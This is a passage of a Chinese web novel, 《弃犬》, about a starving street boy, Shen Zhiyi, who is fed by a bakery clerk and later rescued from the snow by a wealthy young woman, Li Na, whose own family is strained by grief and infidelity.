《弃犬》
1. 神明降临
晚上十点钟，在这个没有夜生活的新一线城市，街上大部分的店都关门下班了。
甜品店还亮着灯，女店员端出当天没有卖完的面包，倒进街边的垃圾桶里。
垃圾桶散发着浓烈的酸臭味，女店员捏着鼻子，屏住呼吸，火速撤回店里。
街上空无一人，寒风湿冷刺骨。
深不见底的巷子里走出来一个男孩。
他很瘦，瘦到皮肤快要包裹不住骨头，好似稍微活动一下关节，骨头就会刺破皮肤。
天气早已入冬，他却穿着已经看不出颜色的单衣单裤，像用了很多年都舍不得丢掉的脏抹布，破破烂烂的挂在身上，脚上穿了双开裂的红拖鞋，每走一步都要用脚趾抓紧鞋底，以防拖鞋从脚底滑出去。
他手里抓着一根树枝，上面插着两只死老鼠，细长的尾巴垂下来一晃一晃的，在路面上划出一道浑浊的血迹。
男孩走到垃圾桶前停下。
他跟垃圾桶差不多高，看不见里面有什么。
于是，他用手抓住垃圾桶的边框，放倒在地上，整个人猫着腰钻了进去。
散发着恶臭的垃圾桶时不时晃动一下。
女店员被眼前这一幕惊呆了。
她平时扔面包都要屏住呼吸，不然实在没办法靠近。
而且附近有很多餐饮店在里面倒垃圾，上面全是馊掉的菜汤和各种污垢。最恶心的是，经常有流浪汉在里面吐痰，有时候没吐进去，痰液就会黏在垃圾桶上。
男孩从垃圾桶里钻出来，怀里抱着那些被扔掉的面包，旁若无人地塞进嘴里。
面包外皮冷硬，划过干燥的喉咙，吞咽时噎得他两眼往上翻，小手捶着胸口。
“喂——”
女店员慢慢走近，借着路灯看到男孩头发黏在一起，脸上黑乎乎的看不清长相，一双眼睛被头发盖起来，隐约闪烁着幽光，如同在黑夜里蛰伏的小狼。
距离越来越近，男孩身上的酸臭味扑面而来。女店员干呕一声，用袖子捂住口鼻。
“小朋友，你怎么还不回家？你爸爸妈妈呢？”
男孩啃面包的动作一顿，下意识抱紧面包，抬头警惕地盯着她。
那双清澈的眼睛里没有孩童的纯真，全是动物的野性，就像是受到威胁龇牙咧嘴的小狼，下一秒就要扑上来与她同归于尽。
女店员俯下身子，和他平视，温温柔柔地笑着，用手指了下男孩怀里的面包。
“那个是我们店里的，脏了，不要吃了，明天这个点你来店里，我给你干净的好不好呀？”
看到女店员脸上的笑容，男孩愣了几秒，抱着面包警惕地后退了一大步，紧接着头也不回地跑进了巷子里。
女店员叹了口气，心想自己长得也不像坏人啊。
这个小朋友的戒备心真的好强哦！
第二天晚上，女店员用牛皮纸把剩面包裹好，装进袋子里，锁门下班。
她戴着手套围巾口罩，全副武装来抵御寒冷，坐在电瓶车上边玩手机边等小男孩。
就这么等了半个小时，连个人影儿都没见到，女店员困得打哈欠。
在她看不到的地方，男孩站在阴暗背光的角落里，双手抓着墙壁，眼睛直勾勾地盯着她手里的面包，口中唾液疯狂分泌，他连咽了好几次口水。
终于，女店员等得不耐烦了，朝周围看了一圈，没发现男孩的踪影，就把面包轻轻地放在了垃圾桶旁边，骑上电瓶车走了。
男孩两条腿被冻得失去了知觉，从角落里缓慢走出来，动作僵硬得像个机器人，饿了一天的肚子响个不停。
一阵风刮过来，吹得他整个人都歪斜到一边，踉跄几步，等风停了，才勉强站稳，连爬带跑地到了垃圾桶前，发抖的手拿起面包，越是着急，就越打不开包装袋，手抖得更厉害了，最后他直接撕开，塞嘴里胡乱地咀嚼几下，迫不及待地咽下。
“汪汪汪！”
一条小黑狗窜出来，跑到男孩脚边，鼻子在男孩身上嗅来嗅来，尾巴摇得都能起飞了，仰着脑袋，耳朵毛茸茸地耷拉下来，亮晶晶的眼睛望着男孩。
男孩掰掉一块面包，放在手心里喂它。
小黑狗用鼻子嗅了嗅，又用舌头舔了舔，狗头往旁边一撇，不吃。
男孩推开狗头，把被狗舔过的面包塞进嘴里，饱餐一顿过后，又把小黑狗塞进衣服里紧紧抱住，身体顿时暖和了不少。
衣服一阵鼓动，小黑狗从衣领口伸出脑袋，用舌头不停地舔小男孩的下巴和脖子。不出意外，狗头上挨了一巴掌，委屈的“嗷呜”一声之后，彻底老实了。
一人一狗消失在深不见底的巷子里。
早上，环卫工人来收垃圾之前，女店员朝垃圾桶望了一眼，没看到那袋面包，她嘴角上扬，知道小男孩已经拿走了。
似乎形成了一个约定，每天晚上，女店员把当天没卖完的面包打包好，放在垃圾桶旁边。
男孩到固定时间就去墙角守着，等女店员骑着电瓶车走了，他跑出来吃面包。
就这样一直到快过年，天空飘雪下来，家家户户都开始大扫除，把家里不要的东西都扔到垃圾桶里。
男孩趁着他们离开，上去翻垃圾桶，找到一些被丢弃的旧衣服，拿起来套到身上，又翻到一些过期食物，随便捡了个袋子装好，继续往下翻。
身后传来一阵男孩们的打闹声。
他翻垃圾的动作一顿，抱紧怀里的食物准备离开，结果这群男孩子跑过来，将他包围起来。
他们拿着水枪，对着他滋水。
“砰砰砰！你死掉啦！”
“你死了！你已经死了！你要趴在地上！”
男孩们见他没有倒下，越发变本加厉地滋他。
他身上穿着刚捡来的新衣服，才刚暖和过来，就被滋得浑身湿透。风再吹几下，衣服立刻湿冷地黏在身上。
他手忙脚乱地挡住衣服，还要顾及怀里的过期食物。
男孩们转移阵地，去滋他下面，让他看起来像尿裤子了一样。
他忍无可忍，放下食物，扑上去握紧拳头揍他们。
一人难敌四手，他打了眼前这个男孩，却被身后的男孩推倒在地上。
不等他爬起来，一群男孩叠罗汉似的压在他身上，用水枪滋他，有更过分的甚至用水枪砸他脑袋。
此时，女店员推门而出，手里拿着拖把在空中狂甩，
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看上去要抡人似的。
“放下手里的枪！举手投降！”
女店员一声狮吼，引得周围行人纷纷侧目。
男孩们似乎被她甩拖把的阵势吓到了，眼睛瞪得跟铜铃一样，一眨不眨地看着她。
“看什么看！再看一枪崩了你们！砰砰砰砰！”
女店员甩拖把甩得跟风扇似的，距离还越来越近，脏水甩了男孩们一身。
男孩们四散着逃走，驻足的行人掩唇忍笑，加快步伐。
女店员放下拖把，看向浑身湿哒哒的男孩，隐约闻到一股骚味。
她忽然意识到什么，捏住鼻子，“靠”了一声。
“这他妈是滋的尿啊！”
她上去扒男孩的衣服。
男孩后退一步，皱着眉头，用力挣开她的手。
“小朋友，你叫什么名字呀？”
男孩抿着嘴唇，看上去不想说话。
女店员挠了挠脖子，先给他做了个示范。
“我叫张悦，你叫什么？”
男孩嘴巴张了一下，吐字极慢，如同初生婴儿般咿呀学语：“我叫……沈知逸。”
“哦，沈知逸小朋友，我们店里有干净的员工制服，你要不要穿？”
张悦从店里拿出粉色衬衫和黑色西装裤，抖开来在沈知逸身上比划了一下大小。
“好像有点大了。”
她把衣服递给沈知逸。
沈知逸没有接，用眼睛盯着她。
“快拿着啊。”
张悦把衣服往前递了一些。
沈知逸伸手接过来。
张悦指了个方向。
“公共卫生间在那里，去换吧。”
沈知逸换好衣服出来，走到垃圾桶旁，正打算钻进去看看里面还有什么好东西，就听到张悦发出一声尖叫。
“我的天！刚给你穿上新衣服，你竟然给我去钻垃圾桶！”
张悦火速把男孩提起来，拎到地上站好，目光上下打量着他。
衣服看起来体面了一些，可这脏兮兮的脸和头发……就跟那潦草小狗似的。
“我带你去洗把脸吧，头发也洗一下。”
说完就扯住了沈知逸的袖子。
沈知逸甩了下手，没甩开，瘦小的身体在成年女人这里毫无反抗之力，跟小鸡仔似的被拽去了店里的卫生间。
张悦调高水温，让他用水打湿了脸。
洗手台上有一瓶蓝月亮洗手液，张悦在他手上按了两泵洗手液，让他往脸上揉搓。
等洗干净脸，张悦又让他身子往前倾，辅助他洗完了头，在烘手机下面把头发吹到半干。
“你还挺可爱的嘛。”
沈知逸站在镜子前，张悦站在他身后，伸手揉了揉他的自然卷头发。
他看着镜子里的自己，眉毛标致，一双丹凤眼，睫毛很长，闭眼时垂下一片阴影。鼻梁又高又直，鼻头长得很精致，嘴唇肉肉的，有些干裂发白。
张悦用手比划了一下他的身高，差不多到她胸口，应该只有一米三。
“你今年多大？”张悦问。
沈知逸从镜子里看着她，想了一会，茫然地摇了摇头。
2. 神明降临
这个小男孩，不知道自己的年龄，每天在垃圾桶里捡垃圾吃，捡衣服穿，她从来没有看到过这个男孩的父母。
真不知道他平时是怎么生活的，还是这么可爱帅气的一个男孩子，张悦瞬间同情心泛滥。
到了晚上，烤箱里还剩下五个草莓奶油纸盒蛋糕，是张悦特意多做了，剩下给沈知逸吃的。
怕弄坏上面的奶油，她没用牛皮纸，拿了专门装蛋糕的小盒子打包好。
店门上的铃铛响了，一个女人推开门走进来，看到张悦在收拾东西，问道：“要下班了吗？”
女人穿着黑格子大衣，搭配长款包臀裙，露出脚踝，一双小皮鞋修饰得小腿曲线极美。她肤白唇红，眉眼温柔，乌黑的波浪卷发垂在胸口，鼻尖微红，看起来明艳动人。
她袖口露出半块腕表，应该是百达翡丽女款，那时上市两百三十多万，现在已经停止生产，回收价高达六百多万。
可这个女人看上去很年轻，年纪应该跟她差不多大，却贵气逼人，优雅松弛，全身上下加起来比她们这个店都值钱。
张悦心中生出挫败感，这人与人之间的距离，在出生时就隔得越来越远。有钱人变得更有钱，没钱人劳碌一辈子都爬不到他们的起点。
张悦压下心中的自卑感，微笑道：“不好意思，现在只剩下草莓蛋糕和牛角包了。”
女人眉头都不曾皱一下，声音淡淡的：“牛角包还剩下几个？”
“三个。”
“给我包起来。”
“好的。”
张悦认真地给她包装好，打印出发票，和牛角包一起用双手递给她。
她付完钱，单手接过。
盖住腕表的袖口稍微后退了一些，这次张悦看清了，还真是百达翡丽。自卑感再一次涌上心头。
女人拎着牛角包，推开门又发出一声“叮铃”，看到门口站着一个小男孩，长得挺可爱标志的，就是皮肤太粗糙，那双眼睛里充满野生动物的兽性。
沈知逸也打量着她，眼神莫名想要躲闪，但又被女人目光吸住不能移动，只能怔怔地望着她。随着时间流逝，他忽然生出一种衣服被剥光了的羞耻感。
沈知逸别开脸，耳尖泛红。
可能因为她一身名牌贵气逼人，稍不留意弄脏了她的衣服，会造成他不能承担的后果。
他自觉后退靠边站，给女人让出一条路。
女人却站在原地没动，垂眸看着他，嘴角微微上扬。
张悦收拾完毕，拎着五盒蛋糕出来，见女人还没走，礼貌地询问着：“您好，请问还有什么事吗？”
“这是你弟弟吗？”
女人看着沈知逸，话是对张悦说的。
张悦解释道：“不是我弟弟，其实我也不知道他是从哪里来的。”
“哦，这样啊。”
女人推开玻璃门，离开之前把手放到沈知逸脑袋上，不轻不重地按了两下，像是在逗弄一个小宠物那样漫不经心。
沈知逸单薄的身子晃了晃，勉强站稳没有被她按倒，心中生出烦躁憋闷的情绪，默默抱紧了怀里的草莓蛋糕。
临近新年，街上挂满了红灯笼，外地人都回老家过年了，这个城市显得有些冷清。
张悦装了两大袋面包，放在垃圾桶旁边，骑上电瓶车准备回家。
沈知逸从深不见底的巷子走出来，这次没等她离开，看她放下面包，就立刻出来拿了，一点都不客气。
张悦说：“我明天早上就要回老家过年了，可能要到初八才来上班，你家里有东西吃吗？”
沈知逸捏紧手里的纸袋，犹豫了几秒钟，点了点头。
张悦骑着电动车回家了。
沈知逸抱着面包，几乎被挡住了整个上半身，怕面包掉出来，小心翼翼地朝巷子里走。
迎面走过来一个酒气熏天的黄毛男，他脸上坑坑洼洼的全是痘坑，牙齿发黄发黑，胡子拉碴的，穿了件满是破洞的旧袄。
“呦，沈知逸，你小子又去哪里偷鸡摸狗了？”
黄毛油腻的手掌伸过来。
沈知逸侧身躲过，怀里的面包飞起来顺着纸袋滚了一圈，又缓缓落回袋子里。
“哪里来的吃的？看上去很不错嘛！”
黄毛没抓到他，心情很不爽，肮脏的手伸向袋子。
沈知逸再次躲开。
不料这一举动彻底惹恼了黄毛，一脚踢飞了他怀里的两袋面包，狠狠拽住他的头发，将他扯过来按在地上，用脚踩住他的背，不停地碾。
“狗娘养的！你他妈还敢躲！老子吃你的东西，那是给你脸！”
踩腻了，黄毛踹开沈知逸，看到他摔到墙上浑身发抖爬不起来的样子，心里爽极了，弯下腰捞走两袋面包，哼着小曲儿头也不回地走了。
一天一夜没吃东西，到了晚上，沈知逸再次来到甜品店。
店里黑漆漆的，没有一个人在，门上落了把锁。
目光转向那个垃圾桶，沈知逸走过去放倒，整个人钻了进去，只翻出一些结冰的酸臭菜汤和半盒米饭，上面沾着凝固的卤肉汁，闻起来有点香味。
他用脏兮兮的手，把肉汁和米饭捏成一团塞进嘴里，噎到两眼上翻，用手锤胸口，好不容易才咽下去，沉沉地吐出口气。
渐渐的，附近的垃圾桶都搜刮完了，街上开店的都回老家过年了，没有新的厨余垃圾产生。
夜里飘起了雪，沈知逸挠着手上的冻疮，头发和睫毛上挂着雪花，肚子响个不停。
到除夕夜，地上的雪厚到一脚能踩出一个大窟窿。
沈知逸三天没吃饭，走在雪地里晃晃悠悠的，随时要摔下去。
脚上的红拖鞋早已不知去向，他两只脚红肿发紫，完全失去了知觉，仿佛不存在，从雪地中拔出脚时被什么东西绊了一下，整个人摔进了雪里。
他想用手臂撑住地面起来，但身上的那点力气不足以支撑他的身体，试了几次都是摔向地面，又冷又痛。
最后他抬起头，用长满冻疮的手抓了一把雪，饿得出现幻觉，还以为手心的雪花是甜蜜的白砂糖。
他轻轻地放进嘴巴里，
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用最后一丝力气咀嚼着，眼眶开始发热，眼前变得模糊不清。
这个糖，怎么一点甜味都没有……
除夕夜，路面结了一层薄冰，街边堆满了积雪。
黎娜放慢车速，双手握在方向盘上，袖口处的百达翡丽腕表若隐若现。
前面路口拐弯，她前车灯一晃，照见街边的积雪里俯趴着一个瘦小的身影，看上去有种诡异的喜感。
黎娜靠边停车，警惕地向周围看了一圈。
这属于繁华地段，虽然外地人都回老家过年了，街上没几个人，不过这里到处都是监控，犯罪分子不会蠢到在这里用小孩做诱饵。
想到这里，黎娜放心下车，朝那抹身影走去。
雪花落在头发上，寒风吹红了鼻尖，黎娜冷得眼泪都出来了一点，浸得眼睛亮亮的，几缕卷发被风吹得黏在红唇上，被她用手指轻轻拨开，别到耳朵后面。
她拉住男孩的后衣领，轻轻地将人翻过来，看到了一张冻得发青的脸，莫名有些眼熟。
黎娜蹲在原地想了一会，后知后觉地拍了拍脑袋，想起来之前在面包店里见过他。
“喂，小鬼，你没事吧？”
“醒一醒！”
黎娜狂拍他的脸，拍的“啪啪”响。
沈知逸睁开眼睛，眼神却不聚焦，似乎还没有恢复意识，感受到黎娜身上传来温热的气息，慢慢蜷起身体朝她怀里靠近。
沈知逸身体不大也没多少重量，就像是一条巨型犬往黎娜怀里钻。他闭紧的眼睛划出泪水，肚子里发出一道尖锐的肠鸣。
原来是饿了啊，黎娜心想。
“你爸爸妈妈呢？怎么你一个人在这？”
沈知逸意识涣散，没有回答，整个人都钻进了黎娜怀里，身体蜷缩着，双手并拢放在胸口，很没有安全感的姿势，像巷子里蜷缩着睡觉的流浪犬。
黎娜腿都蹲麻了，干脆一个公主抱，把沈知逸给抱起来了，在怀里颠了几下，找到一个对两人来说都舒服的姿势。
沈知逸在饥饿的睡梦中，脸贴上一团柔软温暖的东西，像是枕头，他轻轻地蹭了蹭。
黎娜整个人都僵住了，脸有些泛红，又羞又怒地瞪了他一眼，不过就跟一拳头打棉花上似的，他睡着了根本就不知道。
黎娜抱着他往前挪了一点，让他远离她的胸口。
*
凌晨两点，夜空中烟花绽放，新的一年来了。
医院里人很少，值班的护士在工位上打瞌睡，偶尔被鞭炮声炸醒，又闭上眼睛睡了过去。
顶楼VIP病房，黎娜坐在沙发上打哈欠。
医生站在旁边汇报体检结果。
“刚才测了骨龄，这个男孩有十三岁。”
“他手脚上冻疮很严重，应该是每年都会长，今年又复发了，头发里有虱子，已经被我剃掉了。肚子里的寄生虫需要特别注意，要按时吃药排出去。”
“他长期营养不良，肠胃功能很脆弱，现在昏迷就先输着营养液，等醒来先吃点好消化的东西，再慢慢过度到肉类。”
3. 神明降临
鞭炮声响了一夜。
沈知逸醒来的时候，外面天快亮了，墙壁上的时钟指向七点。
他脑袋很轻，头皮凉嗖嗖的，一摸才发现自己的头发竟然不见了。
洁白的棉被包裹着身体，床垫很柔软，衣服也很干净，呼吸间有股淡淡的香味。
沈知逸很不适应，轻轻地动了下身体，结果一脚踹在了黎娜脑袋上，直接把黎娜踹醒了。
她抬起头，揉了揉眼睛，脸上的妆都卸掉了，不像第一次见面时那么明艳张扬，美得很有攻击性。
此刻她脸上没有色彩修饰，露出了最原本的样子，浓眉大眼，颧骨比较明显，鼻子精致，嘴唇饱满透着淡淡的橘粉色，波浪卷的黑发披在肩后，面容素雅清丽。
沈知逸看到她的时候，整个人都呆住了，在接触到她目光的瞬间，立刻移开了视线。
“你要上厕所吗？”
黎娜站起来，看着他苍白的小脸，整个人虚弱得提不起力气的样子，干脆一弯腰把他从床上抱了起来。
“我抱你去，我力气超大！”
她可没吹牛逼。
她身高一米七六，在国外上大学的时候当过模特，为了保持身材一直在健身，还会打拳击。虽然她现在很少健身了，不过手臂用力的时候，还是会爆发出肱二头肌。
沈知逸被抱起来的时候，整个人都是懵的，直到切实的感受到失重感，才不可置信地在黎娜怀里剧烈挣扎起来。
小屁孩看着不大，折腾起来手脚到处乱挥，光头还晃来晃去，而且他身上本来就没有肉，显得骨头特别硬，偶尔碰撞到黎娜，痛得她都维持不住优雅随和的形象，整个人都扭曲了。
黎娜怕摔着他，只能重新把他放回床上。
沈知逸低下头，长长的睫毛垂下来盖住了眼睛，用光秃秃的脑袋对着黎娜。
黎娜没忍住发出一声笑。
沈知逸立刻抬头瞪向她，气呼呼下床，光着脚站在地上，才到黎娜腹部。
他可真矮啊……
沈知逸更生气了。
黎娜用力压住嘴角，抬手指了个方向：“卫生间在那里。”
沈知逸小光头一扭，短腿一伸，走到卫生间，来来回回地推了几次门，把门关上了，很快传来一阵水流声，过了很久才停止。
沈知逸推开门出来。
黎娜坐在床上问他：“你叫什么名字？”
沈知逸低头抠手指：“……”
“问你呢，小屁孩儿，你叫什么名字？”
黎娜伸手去捏他的脸颊。
沈知逸撇开脸，一巴掌拍开她的手，眉头紧皱，很不高兴的样子。
黎娜那双手细皮嫩肉的，被沈知逸这么一拍，当即就红肿起来。
沈知逸视线落在她手背的红印上，刚才打过她的那只手垂在身侧，轻轻地握了握，苍白的嘴唇微微张开。
“沈知逸。”
“哦，我叫黎娜。”
黎娜倒没多在意手背上的痕迹，只是觉得有些湿意，她后知后觉地意识到什么，发出一声土拨鼠的尖叫。
“你上完厕所是不是没洗手？！”
沈知逸看向自己刚才用来扶着的手，有些懵圈。
洗手？
洗什么手？
为什么要洗手？
卫生间里，黎娜看到马桶里的黄色水迹，嘴角抽搐几下。
他不仅没洗手，用完卫生间也没有冲水，卫生习惯太槽糕了。
黎娜按下冲水键，把沈知逸推到洗手台前。
洗手台对于沈知逸来说有点高了，他努力地踮起脚尖，把手伸到水龙头下面。
黎娜站在他旁边，打开水龙头。
温水打湿沈知逸的两只小手，黎娜拿起洗手液，刚想叫他用，他就把湿漉漉的手往衣服上抹了抹，从镜子里看向她，那眼神仿佛在说：我洗好了。
黎娜哑然失笑，把落到眼前的头发别到耳朵后面，语气温柔地对他说：“这样洗不干净，我教你怎么洗手。”
她撸起袖子，直接上手，把沈知逸的手掌摊平，往手心里放洗手液，再把他的手合拢，轻轻地揉搓起来。
指缝里溢出泡沫，她握着沈知逸的小手，触感很粗糙，想起他手上那些触目惊心的冻疮。
“手疼吗？”她轻声问。
沈知逸从镜子里看着她，
她一绺卷发滑下来，随着她帮他洗手的动作，发尾扫动他的下巴脸颊，特别痒，像有蚂蚁在爬。隐约闻见她身上有一股甜甜的花香味，很好闻。她的手指又软又嫩，滑过他粗糙的皮肤，轻柔得像一片羽毛。
沈知逸垂下眸子，认真地看着他们握在一起的手，脚趾微微蜷缩起来。
手上的冻疮长时间碰到热水，从一开始的痛变成了痒，他忍不住用手指挠，被黎娜制止。
黎娜用纸巾擦干他的手，用指甲戳了下他的冻疮，烧痒的感觉瞬间被缓解，一阵舒爽，不过很快又开始痒。
“你这个要擦药，不可以用手挠。”
带沈知逸坐到床上，黎娜拿起之前护士送来的冻疮药膏，撕开包装，挤出来一点涂到沈知逸的冻疮上。
冰冰凉凉的，压住了又热又痒的感觉，沈知逸挠冻疮的动作渐渐停了下来。
黎娜把冻疮膏放在他手里：“就像我刚才那样，剩下的你自己擦，脚上的冻疮别忘了。”
沈知逸学着她的样子，却没控制好力度，往指腹上挤了一大坨药膏，把自己都吓了一跳，抬头看向黎娜。
黎娜原本在监督他，看他抬头视线过来了，目光就转移到了他的脸上，鼓励道：“没关系，往手上擦。”
目光对视的瞬间，沈知逸视线无处安放，在黎娜温柔的笑容上快速又混乱地扫视了一圈，立刻垂下眼睛，往手上擦药。
期间有几次想抬头的动作，但都被克制住了，不知道黎娜是不是一直在看着自己，想到这，他怎么擦怎么别扭。
黎娜笑得肩膀发抖，抬起手挡住上扬的嘴角，是个很容易害羞的腼腆小男孩呢。
床上手机振动，黎娜看到来电号码，脸上笑意消失，走到窗口按下接通键。
“喂——”
“你弟弟的祭日你怎么不来
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？”
黎母声音尖细，带着责问的意味，如同一桶冰水当头浇下来，黎娜用力抠着手机壳后面的雕刻图案，定了定心神。
“我昨天晚上去看过他了。”
黎母说：“现在过来吧，我和你爸都在。”
黎娜沉默了。
“你听到没有？”
黎娜“嗯”了一声，挂断，回过身来，捕捉到沈知逸有个低头的动作。
可能在她背过身打电话的时候，沈知逸一直在看她。
“我有点事，先走了。”
沈知逸低头擦药，没吱声。
黎娜冷着脸，温柔的气息消失不见，仿佛变了一个人，眉目间寒霜笼罩，嘴唇紧抿，也不等沈知逸回应，直接离开了病房。
坐在床上的沈知逸抬起头，听着她脚步声越来越远，然后跳下床，踮着脚，轻手轻脚地走到病房外面，看到黎娜的背影消失在拐弯处，一绺卷发飘起来擦过墙角。
汽车开到墓园，黎娜下车，手里拿着一束白菊。
花瓣抵着她的下巴，显得脸又白又瘦，加上昨天晚上没睡好，眼睛下面乌青明显，嘴唇也发白，看起来很憔碎。
墓园里没人，找人很方便，黎娜一眼就看到她了，径直朝她走过去。
墓碑上刻着：黎书新之墓。
她的弟弟。
黎娜弯腰，轻轻地放下白菊，还没站直身体，就听到黎母说：“你爸在外面养女人了。”
黎娜心脏漏掉一拍，继而又恢复到正常频率。没想到她说得这么直接。因为直接，冲击力也更强。
虽然没有直接证据，但黎娜早就察觉到她爸出轨了。
记得有一次坐在爸爸的车后座，车门的暗格里有一支用过的口红，她偷偷打开闻过味道，是巧克力味的。可是她的母亲已经快二十年没化过妆了。
还有一次是爸爸回家，黎母突然凑上去，离他特别近，从他肩膀上拿下来一根很长的黑头发，问他身上怎么有一根头发，他说不知道，看上去也像是真的不知道。
怀疑的种子一旦种下，就如同失控的藤蔓疯狂生长。
黎娜从来没有这么崩溃过，她最爱的两个人，这两个最应该相爱的人，其中之一竟然背叛了对方，背叛了他们这个家庭。
从那以后，黎娜不再相信父亲，也对爱情和婚姻失去了幻想。随着年龄增长，她越发相信这个上没有不出轨的人，就算有，也是因为没有碰上自己真正喜欢的。
黎娜朝周围看了一圈：“我爸呢？你不是说他也在？”
黎母抚摸着墓碑：“来了一会儿就回去了，大过年的他能去哪，肯定是去找那个狐狸精了！”
黎母冷笑一声，目露凶光：“我听说那个狐狸精怀孕了，还是个儿子！他藏得真好，生怕我过去找她麻烦，快生了才让我抓到！”
黎娜不想当她的情绪垃圾桶，站在一旁不说话。
黎母却越说越来劲，不停拽黎娜的袖子。
“你怎么一点都不着急！那狐狸精要是把儿子生出来，你爸的那些资产就全给外人了！你一分都别想要！”
4. 神明降临
黎娜捂住耳朵，闭上眼睛。
黎母看她这样更来气了，化身豌豆射手：“你有点出息行不行！当初我叫你去学管理，回来好接你爸的班！你倒好，给我跑去学艺术！你学艺术你回来能干什么！屁用都没有！还跑去当什么模特，前漏胸后露屁股，丢不丢人，你想气死我是不是啊！我就你一个女儿，你能不能争点气！”
黎娜深吸口气，等她说完，周围恢复安静的时候，冷声开口：“那你也争气点，把你的老公从狐狸精手里抢回来。”
话一出，她就后悔了。
母亲的本意是拿她发泄，她安静受着就好，怎么能回嘴？
黎母果然不可置信地看向她，在接触到她不耐烦的目光之后，眼眶瞬间红了，开始对着她弟弟的墓碑掉眼泪。
“如果我的书新还活着就好了，他肯定不会这样对妈妈的，书新啊，我的宝贝啊，如果当年……如果当年……”
后面的话在嘴里盘旋了半天，最终还是说了出来，化成一把利剑插到黎娜心上：“如果当年死的人不是你就好了……”
黎娜眼底寒光迸射，转身就走。
黎母哭叫得更大声：“啊啊啊啊！我的宝贝儿子呀！要不是你姐，你也不会死啦！妈妈也不会留不住爸爸啊！”
黎娜气得笑出声，表面经营的优雅从容出现了一丝裂痕，内心的阴暗如洪水猛兽挣脱锁链，疯狂攻击着她的理智。
她嘴角笑意阴鸷冰冷，语气却如往常一样温柔，轻声呢喃道：“有病啊，就算他不死，你也留不住啊。”
回家的路上车很少，黎娜用力踩油门，汽车引擎发出一阵如猛兽般嘶吼的嗡鸣声，闷在心里的那些沉重情绪随之退散。
中途她接到医院的电话，说沈知逸不见了。
黎娜都快忘记这号人物了。
她昨晚同情心泛滥，在大街上救了一个小孩，还花了一点小钱，给自己找了一点小麻烦。
不过她不在意这些，救小孩还是救一条流浪狗，对于她来说没有区别，只是觉得好玩儿，有意思，让一些无聊的事情浪费一下她这个无聊的生命。
黎娜在前面路口掉头，驶向医院，把车子停到地下车库，坐电梯上来看到医院大厅门口的保安伸手拦着一个小孩。
“宠物狗不能进去。”
小孩穿着蓝白条纹病服，脑袋光秃秃的，除了沈知逸还能是谁，黎娜朝他走过去。
沈知逸站在外面，均码病服对他来说太大了，袖子和裤脚卷了好几次，领口很大，露出一片骨头凸起的脖子胸口，被冷风吹得浑身发抖，牙齿打颤。
他手里拎着一个塑料袋，里面都是雾气看不太清楚，应该是盒饭之类的。旁边有条小黑狗好几次站起来，用爪子扒塑料袋，摇着尾巴用鼻子嗅来嗅去，又乖巧地端坐在地上，两只前爪撑地，眼睛亮晶晶地望着沈知逸。
黎娜走到他面前，问他：“哪来的狗？”
沈知逸看到她有些诧异，低头看了眼狗，又抬头看了眼保安叔叔，默默攥紧塑料袋，转身离开了医院，到外面的花坛边坐下，双腿并在一起，膝盖紧贴着。
他身体单薄瘦小，孤零零地坐在那里，在来往行人中看上去可怜兮兮的，只有一条小黑狗陪在他身边。
黎娜走到他面前，缓慢站定，鞋跟落地发出一声闷响。
她站姿挺拔如松，没有低头看沈知逸，而是垂下眸子，下巴还抬着，居高临下地看着他，有一丝压迫的意味。
沈知逸低着头，就跟没看到她一样，自顾自打开塑料袋，从里面拿出盒饭，筷子和勺子留在里面。他掀开盖子，用手指捏起一块米饭和炒鸡蛋放进嘴里，脸颊鼓起来像条小金鱼。
“用手吃饭不脏吗？”黎娜皱着眉。
沈知逸抬头看她，咀嚼的动作慢了下来，视线落到自己长着冻疮的手上，再悄悄抬眸看到黎娜那双细嫩白皙的手。
她在嫌他脏，他确实很脏，和干净的她比起来。
两只小手往袖子里缩了一下，似乎想要藏起来，他在她看不到的地方，蜷起手指把袖口抠下来一点，盖住自己的手。
没有再继续吃饭，沈知逸从饭盒里拿出一些炒鸡蛋放到手上，递给小黑狗。
小黑狗立刻伸出舌头舔上去，把炒鸡蛋裹进嘴里，吃完一口就用充满了期待的眼睛望着他，还想要。
沈知逸又拿出来一点，放到手上，准备继续喂它，黎娜却突然靠近过来，伸手打掉他手里的炒鸡蛋。
他愣了一下，弯腰捡起来，张开嘴巴，刚才那个掉在地上沾满泥土的鸡蛋要被他放进嘴里，黎娜直接上手捏住他的下巴。
“掉在地上的东西就不要吃了！你有必要这么可怜吗！一份炒鸡蛋而已！”
一份……炒鸡蛋而已吗？
对她来说，这只是一份炒鸡蛋吗？
可是，他翻遍所有的垃圾桶都找不到这么好吃的炒鸡蛋。
手里的炒鸡蛋再次被黎娜打掉，这次沈知逸没有捡起来。
他垂眸看着地上的炒鸡蛋，目光呆滞，好像自己做错了什么事情。
黎娜看他这样，良心突然受到谴责。
她不得不承认，今天的自己总是情绪失控。
事实上来说，她从来不是一个情绪稳定的人，心理状态好的时候，她可以优雅得体，自信大方。心理状态不好的时候，一点就炸，稍微碰上点不顺心的事情，都让她控制不住大发雷霆，甚至精神崩溃，比如现在。
黎娜深吸口气，从包里拿出一袋湿纸巾，撕开取出纸巾，温柔擦拭沈知逸沾着油污的手。
“掉在地上的东西不能吃，有细菌，还有喂小狗吃饭的时候不要直接用手，你手上的冻疮开裂了有伤口，容易感染狂犬病毒。”
黎娜把用过的湿纸巾丢进垃圾桶，抽出一张新的，从头到尾又擦了一遍。
沈知逸坐在花坛上，看着一米七六的黎娜费力地弯下腰，皱着眉头给他擦手，不知怎么回事，心中升起莫名的，类似于委屈的一种情绪，让他眼眶发热，胸口很闷，喉咙里像堵了一团干棉花，特别难受。
他突然站起身，饭都没拿，越过黎娜走了出去。
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黎娜抓住他的后衣领，跟拎小鸡似的，毫不费力把他拎回来，还揉了一把他的小光头。
“怎么了？生气了？”
沈知逸本来就矮，站直了也才到黎娜腹部的位置。从她的角度来看，都看不到沈知逸的脸，更何况他还一直低着头。
黎娜手扶在他额头上，往后用力，迫使他仰起头。
可他倔得很，故意跟她较劲，越要他抬头，他就越把头往下压。
黎娜确信，如果自己现在松手，沈知逸绝对会站不稳，一头栽在地上，并朝前滚一圈。
不过对于沈知逸来说，黎娜终究是个成年人，即便瘦，也比他这个小土豆力气大，所以黎娜稍微比刚才用点力气，再上另一个手抬起沈知逸的脸。
在目光触及到沈知逸发红的眼睛时，黎娜愣住了，随即大笑起来，用拇指抹着他的眼睛。
“怎么你了？还跟我哭上了？”
沈知逸推开她的手，用眼睛恶狠狠地瞪她，很有气势，如果眼眶里没有泪水打转的话。
